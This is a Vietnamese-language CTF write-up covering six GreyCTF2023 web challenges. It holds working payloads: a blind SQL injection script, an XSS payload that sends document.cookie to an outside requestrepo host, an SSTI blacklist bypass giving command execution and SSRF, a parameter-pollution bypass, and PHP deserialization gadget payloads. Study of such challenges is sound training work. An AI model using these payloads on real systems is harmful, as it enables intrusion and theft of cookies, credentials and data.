# Write-up GreyCTF2023
###### tags: `CTF writeup`
## 100 - Questions
### Description

### Enum
Chall cho một trang web như thế này

Khi trả lời đúng sẽ trả về `Corect`

Nhìn vào src code chall cung cấp thì ta biết được trang web sẽ lấy 2 param là `qn_id` và `ans` và thực hiện truy vấn SQL để xem câu trả lời có đúng hay không.

Biến `qn_id` được check khá kỹ trước khi rơi vào câu truy vấn, nhưng biến `ans` thì không. Ta hoàn toàn có thể kiếm soát được câu truy vấn thông qua `ans`

### Exploit
Tìm số cột đang được truy vấn

`order by 4` trả về 500 Internal Server, vậy suy ra câu truy vấn đang sử dụng 3 cột
Script blind SQLi tìm flag là một trong số 100 câu trả lời.
```python
import requests
import string
URL = 'http://localhost:10512/'
position = 1
flag = ''
wordlist = string.ascii_letters + string.digits + '''!"$%'()*+,-./:;<=>?@[\\]^_`{|}~'''
id = 1
while id<100:
for c in wordlist:
payload = f'''2' AND (SELECT SUBSTR(Answer, {position}, 1) FROM QNA WHERE ID={id}) = '{c}'-- '''
req = requests.get(f'{URL}?qn_id=1&ans={payload}')
if 'Correct!' in req.text:
flag += ''.join(c)
print(f'Answer of question {id}: {flag}')
position += 1
break
else:
position = 1
id += 1
flag = ''
```

> Flag: grey{1_c4N7_533}
## Baby Web
### Description

### Enum
Trang web cho ta gửi ticket như sau

Kết quả khi gửi một message bất kỳ

Param `message` trực tiếp đưa qua template và render không hề được validate


### Exploit
Dễ dàng pop up alert với payload`<img src=x onerror=alert(origin)>`

Payload lấy flag
```
<script>fetch("http://40cti0ar.requestrepo.com/?f="+document.cookie)</script>
```
>Flag: grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c}
>
## Login Bot
### Description

### Enum
Chall cho ta một trang web như thế này

Ta không thể nào đăng nhập được vì không có tài khoản admin
```python
@app.route('/login', methods=['GET', 'POST'])
def login() -> Response:
if request.method == 'GET':
return render_template('login.html')
username = request.form.get('username', '')
password = request.form.get('password', '')
if password != FLAG or username != 'admin':
flash('Wrong password', 'danger')
return redirect(url_for('index'))
# If user is admin, set cookie
next = request.args.get('next', '/')
response = redirect('/')
if is_safe_url(next):
response = redirect(next)
response.set_cookie('cookie', ADMIN_COOKIE)
return response
```
Flow hoạt động quan trọng của chương trình mà ta cần quan tâm sẽ như sau.
Đầu tiên có một route là `send_post` mà ta có thể truy cập để gửi post
```python
@app.route('/send_post', methods=['GET', 'POST'])
def send_post() -> Response:
"""Send a post to the admin"""
if request.method == 'GET':
return render_template('send_post.html')
url = request.form.get('url', '/')
title = request.form.get('title', None)
content = request.form.get('content', None)
if None in (url, title, content):
flash('Please fill all fields', 'danger')
return redirect(url_for('send_post'))
# Bot visit
url_value = make_post(url, title, content)
flash('Post sent successfully', 'success')
flash('Url id: ' + str(url_value), 'info')
return redirect('/send_post')
```
`/send_post` sẽ gọi đến hàm `make_post`. Tại hàm `make_post` sẽ login với cred của admin để thực hiện lưu post thông qua route `/post`
```python
def make_post(url: str, title: str, user_content: str) -> int:
"""Make a post to the admin"""
with requests.Session() as s:
visit_url = f"{BASE_URL}/login?next={url}"
resp = s.get(visit_url, timeout=10)
content = resp.content.decode('utf-8')
# Login routine (If website is buggy we run it again.)
for _ in range(2):
print('Logging in... at:', resp.url, file=sys.stderr)
if "bot_login" in content:
# Login routine
resp = s.post(resp.url, data={
'username': 'admin',
'password': FLAG,
})
# Make post
resp = s.post(f"{resp.url}/post", data={
'title': title,
'content': user_content,
})
return db.session.query(Url).count()
```
Tại `/post` nếu là admin sẽ thực hiện lưu post vào db
```python
@app.route('/post', methods=['POST'])
def post() -> Response:
if not is_admin():
flash('You are not an admin. Please login to continue', 'danger')
return redirect(f'/login?next={request.path}')
title = request.form['title']
content = request.form['content']
sanitized_content = sanitize_content(content)
if title and content:
post = Post(title=title, content=sanitized_content)
db.session.add(post)
db.session.commit()
flash('Post created successfully', 'success')
return redirect(url_for('index'))
flash('Please fill all fields', 'danger')
return redirect(url_for('index'))
```
Ta có thể truy cập `/url/<id>` để xem kết quả
```python
@app.route('/url/<int:id>')
def url(id: int) -> Response:
"""Redirect to the url in post if its sanitized"""
url = Url.query.get_or_404(id)
return redirect(url.url)
```
Tuy nhiên ta sẽ thấy route này sẽ redirect ta đến `url.url`. Giá trị `url` sẽ được query trong db. Mà ta có thể kiểm soát được giá trị này thông qua `content` cua send_post thông qua hàm `sanitize_content`
```python
def sanitize_content(content: str) -> str:
"""Sanitize the content of the post"""
# Replace URLs with in house url tracker
urls = re.findall(URL_REGEX, content)
for url in urls:
url = url[0]
url_obj = Url(url=url)
db.session.add(url_obj)
content = content.replace(url, f"/url/{url_obj.id}")
return content
```
Hàm `sanitize_content` dùng regex để lấy ra chuỗi có dạng url xuất hiện trong `content` và lưu nó vào db
Như vậy ta có thể khiến `/url/<id>` redirect đến bất kỳ đâu ta muốn, bây giờ phải làm sao để lấy pass của admin aka flag
Ta thấy tại `make_post` thì việc log in as admin được thực hiện 2 lần
```python
visit_url = f"{BASE_URL}/login?next={url}"
resp = s.get(visit_url, timeout=10)
content = resp.content.decode('utf-8')
# Login routine (If website is buggy we run it again.)
for _ in range(2):
print('Logging in... at:', resp.url, file=sys.stderr)
if "bot_login" in content:
# Login routine
resp = s.post(resp.url, data={
'username': 'admin',
'password': FLAG,
})
```
`resp.url` đầu tiên ta không thể kiểm soát vì nó gọi đến `{BASE_URL}/login?next={url}`, tuy nhiên `{url}` thì hoàn toàn là untrusted data, từ đây ta có thể khiến `resp.url` trong lần lặp thứ 2 là bất kỳ gì ta muốn.
Nguyên nhân là do tại `/login?next=`, thì nếu là admin sẽ redirect sang next
```python
# If user is admin, set cookie
next = request.args.get('next', '/')
response = redirect('/')
```
Việc này khiến cho giá trị của `resp.url` trong vòng lặp thứ 2 nằm dưới quyền kiếm soát của mình.
### Exploit
Tạo một post với content là url request repo

Tạo một post khác kèm theo param `url` là đường dẫn đến post đầu tiên

Lúc này debug và quan sát ta sẽ thấy rõ, trong lần đầu tiên ứng dụng sẽ gửi request đến `/login?next=` còn lần thứ 2 sẽ gửi đến request repo của mình


> Flag: grey{r3d1recTs_r3Dir3cts_4nd_4ll_0f_th3_r3d1r3ct5}
## Microservices
### Description

### Enum
Đầu tiên chall cho ta trang web như thế này

Kiểm tra thấy tại trang `home_page` sẽ check user cookie, nếu là admin thì sẽ cho flag

Flow hoạt động của chương trình sẽ dựa trên `gateway` để tương tác với các service khác
Code xử lý chính của `gateway`
```python
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
"""Route the traffic to upstream"""
microservice = request.args.get("service", "home_page")
route = routes.get(microservice, None)
if route is None:
return abort(404)
# Fetch the required page with arguments appended
raw_query_param = request.query_string.decode()
print(f"Requesting {route} with q_str {raw_query_param}", file=sys.stderr)
res = get(f"{route}/?{raw_query_param}")
headers = [
(k, v) for k, v in res.raw.headers.items() if k.lower() not in excluded_headers
]
return Response(res.content, res.status_code, headers)
```
Nó sẽ nhận vào param `service` để tương tác với các service, ngoài ra nó còn append thêm các param của request vào sau URL dùng để get đến service
Muốn có được cookie admin thì ta nhìn vào `admin_page`
```python
from fastapi import FastAPI, Request, Response
from dotenv import load_dotenv
from requests import get
import os
load_dotenv()
admin_cookie = os.environ.get("ADMIN_COOKIE", "FAKE_COOKIE")
app = FastAPI()
@app.get("/")
async def index(request: Request):
"""
The base service for admin site
"""
# Currently Work in Progress
requested_service = request.query_params.get("service", None)
if requested_service is None:
return {"message": "requested service is not found"}
# Filter external parties who are not local
if requested_service == "admin_page":
return {"message": "admin page is currently not a requested service"}
# Legit admin on localhost
requested_url = request.query_params.get("url", None)
if requested_url is None:
return {"message": "URL is not found"}
# Testing the URL with admin
response = get(requested_url, cookies={"cookie": admin_cookie})
return Response(response.content, response.status_code)
```
Nếu ta vượt qua được điều kiện `if requested_service == "admin_page"` thì admin cookie sẽ được gửi đến `url` mà ta truyền vào.
### Exploit
Để ý kỹ vào cách lấy param từ GET request của `gateway` và `admin_page` ta thấy, `gateway` dùng `request.args.get` của Flask để lấy param còn `admin_page` thì dùng `request.query_params.get` của FastAPI


Mà trình tự lấy param của 2 hàm này là hoàn toàn khác nhau, cụ thể
Nếu có 2 param cùng nhau thì `request.args.get` sẽ lấy cái đầu tiên
```python
@app.route('/')
def hello():
service = request.args.get('service')
return f'Service, {service}!'
```

Còn ở `request.query_params.get` nếu có 2 param giống nhau nó sẽ lấy cái thứ 2
```python!
app = FastAPI()
@app.get("/")
def get_query_param(request: Request):
service = request.query_params.get("service")
return {"service": service}
```

Lợi dụng cơ chế này ta dễ dàng bypass được `if requested_service == "admin_page"`
Payload: `/?service=admin_page&service=home_page&url=http://home_page`

> Flag: grey{d0ubl3_ch3ck_y0ur_3ndp0ints_in_m1cr0s3rv1c3s}
## Microservices Revenge
### Description

### Enum
Chall cho ta trang web sau:

Hoạt động tương tư chall trước tuy nhiên lần này flag nằm trong `/flag` của service `flag_page`
Và service `admin_page` có tý thay đổi
```python!
from flask import Flask, Response, render_template_string, request
app = Flask(__name__)
@app.get("/")
def index() -> Response:
"""
The base service for admin site
"""
user = request.cookies.get("user", "user")
# Currently Work in Progress
return render_template_string(
f"Sorry {user}, the admin page is currently not open."
)
```
Ta thấy `admin_page` để untrusted data rơi vào `render_template_string` dẫn đến SSTI

Tuy nhiên payload của ta phải thỏa được blacklist sau
```
banned_chars = {
"\\",
"_",
"'",
"%25",
"self",
"config",
"exec",
"class",
"eval",
"get",
}
```
### Exploit
Ta sẽ dùng `|attr(request.args.param)` để bypass ký tự `__` trong blacklist khi gọi các class, ta sẽ truyền tên class vào GET param
Payload:
```
GET /?service=adminpage&a=__class__&b=__base__&c=__subclasses__
...
Cookie: cookie="Guest Pleb"; user="{{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()}}"
```

Dùng script sau để tìm index của Subprocess
```python!
with open('class.txt') as p:
check = p.read()
for index,value in enumerate(check.split(',')):
if "<class 'subprocess.Popen'>" in value:
print(index) # 343
```
Payload RCE:
```
GET /?service=adminpage&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=communicate&f=__getitem__ HTTP/1.1
...
Cookie: cookie="Guest Pleb"; user="{{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(343)(\"ls\",shell=True,stdout=-1)|attr(request.args.e)()|attr(request.args.f)(0)}}"
```

Tuy nhiên không hề có flag trên server, quay lại với cách chương trình hoạt động thì để lấy flag ta phải request đến được `/flag` của `flag_page`
Dùng script ở trên ta tìm được index của `http.client.HTTPConnection` là 445 để thực hiện request đến `/flag`
Payload
```
GET /?service=adminpage&a=__class__&b=__base__&c=__subclasses__&d=__getitem__
...
Cookie: cookie="Guest Pleb"; user="{% set con = ()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(445)(\"rflagpage\")%}{{con.request("GET","/flag")}}{{con.getresponse().read()}}"
```
> Flag: grey{55t1_bl4ck1ist_byp455_t0_S5rf_538ad457e9a85747631b250e834ac12d}
## View My Albums
### Description

### Enum
Chall cho ta một trang web như sau

Ta để ý web sẽ deserialize

Flag nằm trong table `flag` của db

Vậy thì để lấy được flag ta cần tìm cách attrive dữ liệu từ db
Có một class giúp ta làm việc đó là `MysqlRecordStore`
```php!
class MysqlRecordStore implements RecordStore
{
private $mysqli;
private $table;
private $host;
private $user;
private $pass;
private $db;
public function __construct($host, $user, $pass, $db, $table) {
$this->host = $host;
$this->user = $user;
$this->pass = $pass;
$this->db = $db;
$this->mysqli = new mysqli($host, $user, $pass, $db);
$this->table = $table;
}
...
public function getAllRecords() {
$stmt = $this->mysqli->prepare("SELECT * FROM {$this->table}");
$stmt->execute();
$rows = $stmt->get_result()->fetch_all(MYSQLI_ASSOC);
$records = array();
foreach ($rows as $row) {
$record = new Record($row['id']);
foreach ($row as $key => $value) {
$record->$key = $value;
}
$records[] = $record;
}
return $records;
}
public function __destruct() {
$this->mysqli->close();
}
public function __wakeup() {
$this->mysqli = new mysqli($this->host, $this->user, $this->pass, $this->db);
}
}
```
Class này được sử dụng trong class `Albums` và class `Albums` sẽ fetch tất cả records nếu như magic methods `__debugInfo()` được gọi
```php!
class Albums {
private $store;
public function __construct($store) {
$this->store = $store;
}
public function getAlbum($id) {
return $this->store->getRecord($id);
}
public function addAlbum($album) {
return $this->store->addRecord($album);
}
public function updateAlbum($id, $album) {
return $this->store->updateRecord($id, $album);
}
public function deleteAlbum($id) {
return $this->store->deleteRecord($id);
}
public function getAllAlbums() {
return $this->store->getAllRecords();
}
public function __debugInfo() {
return $this->getAllAlbums();
}
}
```
Trùng hợp thay tại `index.php` ta có thể gọi magic methods `__debugInfo()` của `Albums` thông qua `var_dump`

Tuy nhiên để tạo được object của class `Albums` hay cụ thể là `MysqlRecordStore` thì ta cần biết được host, user, password và database name. Ta đã biết 3 trong 4 cái, chỉ còn lại password là chưa

Việc tiếp theo là tìm cách đọc được password của db, để làm điều đó ta lợi dụng class `CsvRecordStore`
```php
class CsvRecordStore implements RecordStore
{
private $file;
public function __construct($file) {
$this->file = $file;
}
...
public function getAllRecords() {
$data = array_map('str_getcsv', file($this->file));
$records = array();
foreach ($data as $id => $row) {
$record = new Record($id);
foreach ($row as $key => $value) {
$record->$key = $value;
}
$records[] = $record;
}
return $records;
}
```
Hàm `getAllRecords` sẽ đọc file `$file` và trả về mảng `$record` mỗi phần tử là 1 `Records` object và chứa một dòng trong file `$file`
### Exploit
Payload đọc file `db_creds.php`
```php!
$a = new Albums(new CsvRecordStore("db_creds.php"));
$seri = urlencode(serialize($a));
echo $seri;
```
Output
```
O%3A6%3A%22Albums%22%3A1%3A%7Bs%3A13%3A%22%00Albums%00store%22%3BO%3A14%3A%22CsvRecordStore%22%3A1%3A%7Bs%3A20%3A%22%00CsvRecordStore%00file%22%3Bs%3A12%3A%22db_creds.php%22%3B%7D%7D
```

Password là `j90dsgjdjds09djvupx`
Payload đọc flag:
```php
$a = new Albums(new MysqlRecordStore("mysql", "user", "j90dsgjdjds09djvupx", "challenge", "flag"));
$seri = urlencode(serialize($a));
echo $seri;
```
```
O%3A6%3A%22Albums%22%3A1%3A%7Bs%3A13%3A%22%00Albums%00store%22%3BO%3A16%3A%22MysqlRecordStore%22%3A6%3A%7Bs%3A24%3A%22%00MysqlRecordStore%00mysqli%22%3BO%3A6%3A%22mysqli%22%3A19%3A%7Bs%3A13%3A%22affected_rows%22%3BN%3Bs%3A11%3A%22client_info%22%3BN%3Bs%3A14%3A%22client_version%22%3BN%3Bs%3A13%3A%22connect_errno%22%3BN%3Bs%3A13%3A%22connect_error%22%3BN%3Bs%3A5%3A%22errno%22%3BN%3Bs%3A5%3A%22error%22%3BN%3Bs%3A10%3A%22error_list%22%3BN%3Bs%3A11%3A%22field_count%22%3BN%3Bs%3A9%3A%22host_info%22%3BN%3Bs%3A4%3A%22info%22%3BN%3Bs%3A9%3A%22insert_id%22%3BN%3Bs%3A11%3A%22server_info%22%3BN%3Bs%3A14%3A%22server_version%22%3BN%3Bs%3A4%3A%22stat%22%3BN%3Bs%3A8%3A%22sqlstate%22%3BN%3Bs%3A16%3A%22protocol_version%22%3BN%3Bs%3A9%3A%22thread_id%22%3BN%3Bs%3A13%3A%22warning_count%22%3BN%3B%7Ds%3A23%3A%22%00MysqlRecordStore%00table%22%3Bs%3A4%3A%22flag%22%3Bs%3A22%3A%22%00MysqlRecordStore%00host%22%3Bs%3A5%3A%22mysql%22%3Bs%3A22%3A%22%00MysqlRecordStore%00user%22%3Bs%3A4%3A%22user%22%3Bs%3A22%3A%22%00MysqlRecordStore%00pass%22%3Bs%3A19%3A%22j90dsgjdjds09djvupx%22%3Bs%3A20%3A%22%00MysqlRecordStore%00db%22%3Bs%3A9%3A%22challenge%22%3B%7D%7D
```
**Note**: phải chạy script tại docker của chall, để thực hiện kết nối tới db server mới có thể tạo object

> Flag: grey{l4_mu5iCA_DE_haIry_FroG}